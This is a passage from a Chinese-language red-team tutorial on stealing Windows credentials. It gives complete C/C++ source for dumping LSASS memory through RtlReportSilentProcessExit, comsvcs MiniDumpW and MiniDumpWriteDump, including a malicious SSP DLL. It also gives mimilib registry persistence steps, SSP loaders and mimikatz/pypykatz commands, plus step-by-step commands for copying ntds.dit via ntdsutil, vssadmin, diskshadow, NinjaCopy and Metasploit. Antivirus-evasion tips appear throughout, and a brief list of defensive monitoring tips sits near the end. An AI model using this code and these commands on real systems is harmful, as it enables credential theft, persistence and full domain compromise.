if (!EnableDebugPriv()) {
printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
return 1;
}
printf(" - 启用当前进程DEBUG权限 OK\n");
if (!setRelatedRegs(targetProcName)) {
printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
return 1;
}
printf(" - 设置相关注册表键值 OK\n");
pid = getPidByName(targetProcName);
if (-1 == pid) {
printf(" - 获取目标进程pid: %#X\n", pid);
return 1;
}
printf(" - 获取目标PID: %#X\n", pid);
do
{
hNtMod = GetModuleHandle(L"ntdll.dll");
if (!hNtMod) {
printf(" - 获取NTDLL模块句柄失败\n");
break;
}
printf(" - NTDLL模块句柄: %#X\n", (DWORD)hNtMod);
fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
if (!fnRtlReportSilentProcessExit) {
printf(" - 获取API RtlReportSilentProcessExit地址失败\n");
break;
}
printf(" - RtlReportSilentProcessExit地址: %#X\n", (DWORD)fnRtlReportSilentProcessExit);
hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_VM_READ, 0, pid);
if (!hLsassProc) {
printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
break;
}
printf(" - 获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);
ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);
} while (false);
if (hNtMod)
CloseHandle(hNtMod);
if (fnRtlReportSilentProcessExit)
CloseHandle(fnRtlReportSilentProcessExit);
if (hLsassProc)
CloseHandle(hLsassProc);
if (fnRtlReportSilentProcessExit)
fnRtlReportSilentProcessExit = NULL;
return 0;
}
编译为exe运行即可
除了上面的代码外,这里给出两个利用工具,如下:
- https://github.com/lengjibo/RedTeamTools/tree/master/windows/LsassSilentProcessExit
- https://github.com/haoami/RustHashDump
使用LsassSilentProcessExit导出 lsass.dmp 文件
# 同样需要先查看lsass进程号PID
.\LsassSilentProcessExit.exe PID 0
或者
.\LsassSilentProcessExit.exe PID 1
执行命令后,会在C:\temp
目录下生成转储文件
使用RustLsassDump导出 lsass.dmp 文件
.\RustLsassDump.exe
同样,执行命令后,会在C:\temp
目录下生成转储文件
方法十一:添加自定义的SSP进行Dump
先介绍一下SSP和SSPI,如下:
-
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于Windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
-
SSPI(Security Support Provider Interface,安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口(SSP就是一个实现SSPI接口的DLL)。
这里回顾一下DLL
在Windows中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority,译作"本地安全机构")里面,它主要是负责运行Windows系统安全策略。SSP在Windows启动之后,会被加载到lsass.exe进程中(本质是SSP在系统启动时加载到LSA进程中),所以可以利用这一点进行Dump。
利用加载SSP实现窃取凭据的攻击方法有两类,如下
- 先转储lsass.dmp,再读取,得到明文凭据
- 直接捕获新输入的明文凭据【攻击成功后有输入凭据行为的,如runas、用户锁屏后重新登录、重启后登录等,就会被捕获】
这里给出代表这两类攻击方法的dll:
-
转储lsass.dmp
的dll:-
https://github.com/xunyang1/ssp_dump_lsass/blob/main/Project4/x64/Debug/Project4.dll
-
https://github.com/whyjoezk/dump_lsass/tree/1c07b4038c7ef2c60584bec05d19ec4141ecb3cf/Dll1
注意,直接使用以上项目的话,转储文件名为1.bin而不是lsass.dmp,为的是避免杀软做关键字检测。如果需要定制,在源码中修改输出的转储文件名即可
-
https://github.com/outflanknl/Dumpert/tree/master/Dumpert-DLL/Outflank-Dumpert-DLL
直接使用以上项目的话,转储文件路径为C:\Windows\Temp\dumpert.dmp
也可以将下面这段代码编译为dll
#include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <iostream> using namespace std; typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); int GetLsassPid() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(hSnapshot, &entry)) { while (Process32Next(hSnapshot, &entry)) { if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) { return entry.th32ProcessID; } } } CloseHandle(hSnapshot); return 0; } void getPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // 打开当前进程的访问令牌 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { // 获取 SeDebugPrivilege 权限的本地权限 ID if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升当前进程的 SeDebugPrivilege 权限 if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) { cout << "Token privileges adjusted successfully" << endl; // 关闭访问令牌句柄 CloseHandle(hToken); } else { cout << "AdjustTokenPrivileges faile" << endl; } } else { cout << "LookupPrivilegeValue faile" << endl; } } else { cout << "OpenProcessToken faile" << endl; } } void DumpLsass() { wchar_t ws[100]; _MiniDumpW MiniDumpW; MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); cout << "GetProcAddress MiniDumpW success" << endl; swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full"); getPrivilege(); MiniDumpW(0, 0, ws); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DumpLsass(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int main() { DumpLsass(); }
转储文件的路径为C:\temp.bin
这里使用VS2019将上面的代码编译为dll,做一个视频演示
-
-
直接捕获新输入的明文凭据
的dll:mimilib.dllMimilib是mimikatz的子工程,编译成功后生成文件mimilib.dll
添加SSP有三种方法,如下
-
重启系统加载SSP
因为新SSP添加到安全包列表后,需要重新启动才能生效
# 以加载mimilib.dll为例,即直接捕获新输入的明文凭据 # 第一步:复制文件 # 将mimilib.dll复制到c:\windows\system32下 # 64位系统要用64位的mimilib.dll,32位系统使用32位的mimilib.dll # 命令如下 copy mimilib.dll %SystemRoot%\System32 # 第二步:修改注册表 # 将HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\下Security Packages的值设置为mimilib.dll # 使用如下reg指令即可 reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "mimilib.dll" /f
# 第三步:重启系统 # 重启之后进程lsass.exe将会加载mimilib.dll,同时在%SystemRoot%\System32生成文件kiwissp.log,其中记录了当前用户的登录系统时输入的明文口令
-
使用AddSecurityPackage API加载SSP
先梳理一下这种方法的实现逻辑,如下:
- 复制要加载的dll文件(作为SSP)至
c:\windows\system32
- 修改注册表
- 调用AddSecurityPackage API加载SSP
其中第1、2两步,和【重启系统加载SSP】相同,第3步可以使用如下代码实现
#define WIN32_NO_STATUS #define SECURITY_WIN32 #include <windows.h> #include <sspi.h> #include <NTSecAPI.h> #include <ntsecpkg.h> #include <stdio.h> #pragma comment(lib, "Secur32.lib") int main(int argc, char* argv[]) { if (2 < argc) { printf("Usage: xxx.exe <dll_path>"); return 1; } SECURITY_PACKAGE_OPTIONS spo = {}; SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)argv[1], &spo); return 0; } 或者使用下面这段代码 #define SECURITY_WIN32 #include <stdio.h> #include <Windows.h> #include <Security.h> #pragma comment(lib,"Secur32.lib") int wmain(int argc, char** argv) { if (2 < argc) { wprintf(L"Usage: xxx.exe <dll_path>\n"); return 1; } SECURITY_PACKAGE_OPTIONS option; option.Size = sizeof(option); option.Flags = 0; option.Type = SECPKG_OPTIONS_TYPE_LSA; option.SignatureSize = 0; option.Signature = NULL; if (AddSecurityPackageW((LPWSTR)argv[1], &option) == SEC_E_OK) { wprintf(L"[*] Add security package successfully\n"); } }
编译成exe文件后,使用命令
xxx.exe DLL文件绝对路径
即可调用AddSecurityPackage API进行加载。注意,如果不使用DLL文件的绝对路径,则默认在c:\windows\system32目录中搜索。
如:使用 xxx.exe mimilib.dll 则默认在 c:\windows\system32 目录中搜索 mimilib.dll
下面以加载mimilib.dll为例,做一个视频演示
如上视频实测,不做第1、2两步,直接做第3步,也能读取。
做第1、2两步的目的是为了持久化(即目标机器重启后也能读取,原理用的就是【重启系统加载SSP】)
此外,还可以使用这个项目:RustSSPdumpHash,它可以帮助我们做第2、3两步
使用Rust编译,得到
RustSSPdumpHash.exe
和mylib.dll
其中,
mylib.dll
属于直接捕获新输入的明文凭据的dll
,和mimilib.dll类似。此外,注意mylib.dll不能改名,源代码中写死了要改名的话,要修改源代码重新编译
# 第一步:复制文件(对应实现逻辑的第1步,手动复制) # 将mylib.dll复制到c:\windows\system32下,用以下命令即可 copy mylib.dll c:\windows\system32 或者 copy mylib.dll %SystemRoot%\System32 # 第二步:执行RustSSPdumpHash.exe(对应实现逻辑的第2、3步,程序会完成) ,\RustSSPdumpHash.exe # 出现形如下图,则代表调用AddSecurityPackage API加载SSP成功
此时,有输入凭据行为的,会记录在
C:\temp.log
中做一个视频演示
除了RustSSPdumpHash,还可以使用Empire的Install-SSP模块来调用AddSecurityPackage API加载SSP,Empire由Powershell编写,可以将Install-SSP模块单独提取出来运行,即Install-SSP.ps1,它可以帮助我们完成调用AddSecurityPackage API加载SSP的全过程。
# 以加载mimilib.dll为例 powershell -ExecutionPolicy Bypass -Command "& {Import-Module -Name .\Install-SSP.ps1; Install-SSP -Path mimilib.dll}"
做一个视频演示
这里注意一点,在Win10下使用Install-SSP.ps1时,可能出现报错
The operating system architecture must match the architecture of the SSP dll.
,如下图意思是,操作系统体系结构必须与SSP dll的体系结构匹配。
可以先检查系统的位数和dll文件的位数是否一致。若不一致,则应使用与系统的位数一致的dll文件。若位数一致还是报错,可以手动删去Install-SSP.ps1中的check代码,如下
这个问题我只在Win10机器上遇到过,Win7机器上未发现
再做一个视频演示加载
转储lsass.dmp的dll
,注意观察文件和注册表的变化,加深对实现逻辑的理解 - 复制要加载的dll文件(作为SSP)至
-
通过RPC加载SSP
这种方法敏感操作最少、隐蔽性最高
可以使用以下项目:
ssp_rpc_loader_protected.exe xxx.dll ssp_rpc_loader.exe xxx.dll # 返回Error code 0x6c6 returned, which is expected if DLL load returns FALSE代表dll加载成功 # 比如加载mimilib.dll ssp_rpc_loader_protected.exe mimilib.dll ssp_rpc_loader.exe mimilib.dll
做一个视频演示
关于删除SSP:微软自身并没有开放这个功能,也就是说,在系统不重启的情况下无法删除SSP(即只有重新启动才能从lsass进程中删除dll)。参考这篇文章,这里我总结一下文章关于删除SSP的地方:
- 微软提供了DeleteSecurityPackage的相关函数(即DeleteSecurityPackage API),分别是
DeleteSecurityPackageW
、DeleteSecurityPackageA
,DeleteSecurityPackageA 会重定向到DeleteSecurityPackageW,所以实质上只有DeleteSecurityPackageW - 使用IDA Pro分析,发现微软只是注册这个函数,并没有具体实现它,所以这个函数是无效的
- 当你尝试调用这个函数删除SSP时,无论怎样都会报错,报错值0x80090302 即SEC_E_UNSUPPORTED_FUNCTION,进一步证明这个函数是无效的,自然也就无法删除SSP
虽然微软自身没有提供删除SSP的功能(微软自身没有提供删除SSP的API),但是这个脚本通过调用NtCreateThreadEx实现了卸载进程中的dll。NtCreateThreadEx是一个系统调用,是更底层的函数(更底层的API)。这样就能从lsass进程中删除dll了,命令如下
# 首先查看lsass.exe的进程号PID
tasklist | findstr "lsass.exe"
# 卸载lsass进程中的dll,比如mimilib.dll
.\FreeDll.exe 进程号 mimilib.dll
注意,暴力卸载进程中的dll,可能导致崩溃,特别是针对lsass.exe这种关键进程,请慎重
做一个视频演示,如下
来看一个进程崩溃的演示
简单介绍一下系统调用
方法十二:通过进程内存快照导出 lsass.dmp 文件
简单介绍一下原理:先对所有进程拍摄内存快照,然后循环检索lsass进程号,使用MiniDumpWriteDump API将lsass进程的内存快照进行转储,并写入文件
通过获取目标进程的内存快照,从内存快照中读取数据,而不是直接从目标进程中获取,更容易躲避AV/EDR检测。
这里提一下MiniDumpWriteDump API,它是封装在dbghelp.dll中的导出函数,可用于转储内存。
完整程序源码如下:
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )
using namespace std;
#define INFO_BUFFER_SIZE 32767
std::wstring s2ws(const std::string& s)
{
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}
// 提升权限为 debug
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) //修改进程权限
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) //通知系统修改进程权限
{
CloseHandle(hToken);
return false;
}
return true;
}
int main() {
char filename[INFO_BUFFER_SIZE];
char infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
GetComputerNameA(infoBuf, &bufCharCount);
strcpy_s(filename, infoBuf);
strcat_s(filename, "-");
strcat_s(filename, "lsass.dmp");
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {}; // 拍摄快照时驻留在系统地址空间里的进程列表结构体
processEntry.dwSize = sizeof(PROCESSENTRY32); //结构大小
LPCWSTR processName = L""; //进程名
if (Process32First(snapshot, &processEntry)) { //检索快照中第一个进程的信息
while (_wcsicmp(processName, L"lsass.exe") != 0) { //循环检索快照中的进程
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile; // 获取当前进程的进程名
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
if (EnableDebugPrivilege() == false)
{
printf("enable %d", GetLastError());
}
EnableDebugPrivilege();
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // 根据 Pid 打开 lsass.exe 进程,获取句柄
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); //转储lsass,写入outfile
if (isDumped) {
cout << "[+] Save To " << filename << endl;
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
程序执行逻辑如下:
如果不需要提权操作,可以仅保留程序的核心代码进行编译,如下
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
//遍历lsass.exe 的PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
//调用MiniDumpWriteDump
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
编译为exe后执行即可
方法十三:使用其他工具导出 lsass.dmp 文件
-
Powershell工具:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
-
https://github.com/YOLOP0wn/POSTDump/tree/ec15722687f67fc332808891da745fa75a607875
-
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs
-
https://github.com/login-securite/lsassy
自动化工具,适用于内网大量机器的情况,支持多种转储lsass.dmp的方法
读取lsass.dmp文件
使用mimikatz读取lsass.dmp文件
#将lssas.dmp文件复制到mimikatz.exe的同级目录
#运行mimikatz,将lsass.dmp文件加载到mimikatz
mimikatz.exe
#看到Switch to MINIDUMP 加载成功
sekurlsa::minidump lsass.dmp
#导出密码散列值
sekurlsa::logonPasswords full
# 或者组合成一条命令也可
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
使用Pypykatz读取lsass.dmp文件
Pypykatz下载地址:https://github.com/skelsec/pypykatz
Pypykatz是Mimikatz的python部分实现(即实现了Mimikatz的部分功能),和Mimikatz一样,这个工具也能提取lsass转储文件的密码散列值
pypykatz lsa minidump lsass.dmp
通过ntds.dit文件抓取密码
ntds.dit也被称为Active Directory database,在域中的所有账号密码被存放在了 ntds.dit 文件中,如果获取到该文件就相当于拿到整个域权限,不过该文件只在域控中,只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问
ntds.dit 文件位置:
C:\Windows\NTDS\NTDS.dit
还有两点要注意:
-
ntds.dit是加密的,system文件中存放着ntds.dit的密钥,因此需要获取system文件来解密
-
在正常的域环境中,ntds.dit 文件里包含大量的信息,体积较大。利用ntds.dit文件可以概述为两步,导出ntds.dit文件和读取ntds.dit文件。举个例子,如果域控制器上没有安装杀毒软件,就可以选择直接进入域控制器,导出 ntds.dit 并读取从而获得域账号和域散列值,而不需要将 ntds.dit 保存到本地。所以==“导出”“读取”这两个步骤具体在哪台机器上完成是按具体情况而定的==
导出ntds.dit文件
方法一:使用Ntdsutil
Ntdsutil默认安装在域控制器上,可以在域控制器上直接操作
ntdsutil支持以下操作系统:
- Windows Server 2019
- Windows Server 2016
- Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2008 R2
- Windows Server 2008
- Windows Server 2003 R2
- Windows Server 2003
使用Ntdsutil导出 ntds.dit 和 system 文件,并放在 C 盘目录下
Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit
#ntdsutil还支持使用简写,如下
#ntdsutil "ac i ntds" "ifm" "create full C:\ntdsutil" q q
在目标路径下就会生成一个备份文件夹,如C:\test、C:\ntdsutil,下面以C:\test为例
ntds.dit文件在C:\test\Active Directory\文件夹下
SYSTEN 和 SECURITY文件在C:\test\registry\文件夹下
提取出文件后,记得删除创建的备份文件夹
rmdir /s/q C:\test
上面是一种使用ntdsutil工具进行Active Directory数据库备份的方法,其实还可以使用创建快照的方法,就是麻烦些,如下
#创建一个快照,该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到,创建了一个 GUID 为 6a475b94-b066-448f-92b9-1a29b3fd2ef7 的快照。
接下来加载刚刚创建的快照。命令格式中的GUID就是刚刚创建快照的GUID
ntdsutil snapshot "mount {GUID}" quit quit
ntdsutil snapshot "mount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit
快照将被加载到C:$SNAP_202011091624_VOLUMEC$\目录下:
使用 Windows 自带的 copy 命令将快照中的文件复制出来,这里复制到C盘下,建议使用CMD而不是PowerShell
copy C:\$SNAP_202011091624_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
将之前加载的快照卸载并删除:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
ntdsutil snapshot "unmount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" "delete {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit
其中,6a475b94-b066-448f-92b9-1a29b3fd2ef7 为创建快照的 GUID,注意每次创建快照的 GUID 都不同
再次查询当前系统中的所有快照,显示没有任何快照,表示删除成功:
ntdsutil snapshot "List All" quit quit
方法二:使用vssadmin
vssadmin支持以下操作系统:
- Windows Server 2022
- Windows Server 2019
- Windows 10
- Windows 8.1
- Windows Server 2016
- Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2008 R2
- Windows Server 2008
使用vssadmin导出 ntds.dit
#建议在CMD窗口运行,不要在PowerShell窗口运行
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
# SAM 等文件也可以使用 vssadmin 导出
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\security.hiv
#列出计算机上的所有阴影副本
vssadmin list shadows
#列出仅与指定卷相关的阴影副本。如下,显示与C盘相关的所有阴影副本的详细信息
vssadmin list shadows /for=C:
#删除指定卷上的所有阴影副本。如果要删除多个卷的阴影副本,可以在命令中多次使用"/for="选项
vssadmin delete shadows /for=C:
#vssadmin delete shadows /for=C: /for=D:
#删除指定的阴影副本(通过阴影副本的ID指定)
vssadmin delete shadows /shadow="阴影副本的ID"
vssadmin delete shadows /shadow="{41682a6a-a885-4152-a169-78ab7ce9c6c5}"
如果使用PowerShell的话,可能会出现以下报错
PowerShell是无法直接访问\?\GlobalRoot开头的路径的。CMD其实也是不能直接访问的,但CMD中的copy指令貌似不受影响。
这里再补充一点,无法直接访问\?\GlobalRoot开头的路径的解决方法
如上,CMD和PowerShell都是不能访问\?\GlobalRoot开头的路径的
可以通过创建符号链接(即软链接、快捷方式)解决
#mklink指令只能在CMD中使用,因此下面的这个操作应该在CMD窗口中执行
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\
#创建完软链接后,\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\xxx就可以使用c:\testvsc\xxx访问
#使用完后记得删除符号链接
rd c:\testvsc
方法三:使用NinjaCopy 脚本
使用NinjaCopy 脚本导出 ntds.dit。另外,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
#也可以导出SYSTEM等文件
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination C:\\system
方法四:使用nishang中的Copy-VSS脚本
使用nishang中的Copy-VSS脚本导出 ntds.dit。
nishang中Copy-VSS脚本可以复制SAM文件(如果在域控制器上运行,则还可以复制ntds.dit和SYSTEM)
通过该脚本,可以将 SAM、SYSTEM,ntds.dit 复制到与ps1脚本相同的目录
PowerShell.exe -ExecutionPolicy Bypass -File Copy-VSS.ps1
方法五:使用 vssown.vbs 脚本
使用 vssown.vbs 脚本提取 ntds.dit
vssown.vbs 脚本的功能和 vssadmin 类似。可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
vssown.vbs 脚本下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
#启动卷影拷贝服务
cscript vssown.vbs /start
#创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
#列出当前卷影拷贝
cscript vssown.vbs /list
#复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit
#删除卷影拷贝
cscript vssown.vbs /delete ID
举个例子,如下
创建一个 C 盘的卷影拷贝:
cscript vssown.vbs /create c
列出当前卷影拷贝:
cscript vssown.vbs /list
可以看到存在一个 ID 为 FE084F25-4F38-4C8B-B2D4-3538D5644D15 的卷影拷贝,存储位置为:\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3。
复制 ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝:
cscript vssown.vbs /delete {FE084F25-4F38-4C8B-B2D4-3538D5644D15}
方法六:使用 diskshadow
diskshadow.exe支持以下操作系统:
- Windows Server 2022
- Windows Server 2019
- Windows Server 2016
- Windows Server 2012 R2
- Windows Server 2012
- Windows Server 2008 R2
- Windows Server 2008
在渗透中可以使用 diskshadow来执行命令
例如,可以将需要执行的命令exec c:\windows\system32\calc.exe写入C盘目录下的command.txt文件,然后使用diskshadow执行
echo exec c:\windows\system32\calc.exe>command.txt
diskshadow /s c:\command.txt
diskshadow也可以用来导出 ntds.dit
#将以下代码写入command.txt
#设置卷影拷贝
set context persistent nowriters
#添加卷
add volume c: alias someAlias
#创建快照
create
#分配虚拟磁盘盘符
expose %someAlias% k:
#将ntds.dit复制到c盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
#删除所有快照
delete shadows all
#列出系统中的卷影拷贝
list shadows all
#重置
reset
#退出
exit
#加载文本(在C:\windows\system32 目录下执行,不然会出错)
diskshadow /s c:\command.txt
#转储 system.hive
reg save hklm\system c:\windows\temp\system.hive
system.hive中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息。
注意事项:
- 在使用diskshadow.exe导出ntds.dit时,必须在C:\Windows\System32中进行操作。
- 渗透测试人员可以在非特权用户权限下使用 diskshadow.exe 的部分功能。与其他工具相比,diskshadow的使用更为灵活。
- 脚本执行后,要检查从快照中复制出来的 ntds.dit 文件大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。
方法七:使用msf
msf 里的 psexec_ntdsgrab 模块可以获取目标的 ntds.dit 和 SYSTEM 文件(原理也是利用了卷影拷贝服务) 并将其传送到攻击机的 /root/.msf4/loot/ 目录下
use auxiliary/admin/smb/psexec_ntdsgrab
set rhosts 192.168.7.7
set smbdomain teamssix.com
set smbuser administrator
set smbpass 1qaz@WSX
run
除此之外,在获取到会话后,也可以用 MSF 提供的 domain_hashdump 模块直接读取 ntds.dit 文件
use windows/gather/credentials/domain_hashdump
set session 1
run
执行后,目标机器上的ntds.dit会被解析,将域账号和域散列值导出并回显
方法八:使用vshadow配合ShadowCopy.bat脚本
ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive
创建一个bat脚本写入如上代码,命名为ShadowCopy.bat
vshadow.exe 是从 Windows SDK 中提取出来的,需要先安装 Windows SDK,下载地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/。Windows SDK 下载安装完后,找到 vshadow.exe 拿出来(即可以将该文件单独提取出来使用)
将这vshadow.exe和ShadowCopy.bat脚本放到同一个文件夹里后,以管理员权限运行 ShadowCopy.bat 文件,之后可以看到导出了 ntds.dit 和 system.hive 文件
之后可以用esentutl修复一下ntds.dit,然后使用QuarksPwDump.exe将域用户哈希读取出来
esentutl /p /o ntds.dit
QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt
或者使用其他读取ntds.dit文件的方法也可以
卷影拷贝服务的防御
上面很多种方法都使用到了卷影拷贝服务,通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作,这里给出一些蓝队防御手段:
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
- 监控 System Event ID 7036(卷影拷贝服务进行运行状态的标志)的可疑事例,以及创建 vssvc.exe 进程的事件。
- 监控创建 diskshadow.exe 及相关子进程的事件。
- 监控客户端设备中的 diskshadow.exe 实例创建事件。除非业务需要,在Windows操作系统中不应该出现 diskshadow.exe。如果发现,应立刻将其删除。
- 通过日志监控新出现的逻辑驱动器映射事件。
读取ntds.dit文件
方法一:使用NTDSDumpEx读取ntds.dit文件
下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases
NTDSDumpEx -d ntds.dit -s system.hiv -o domain.txt
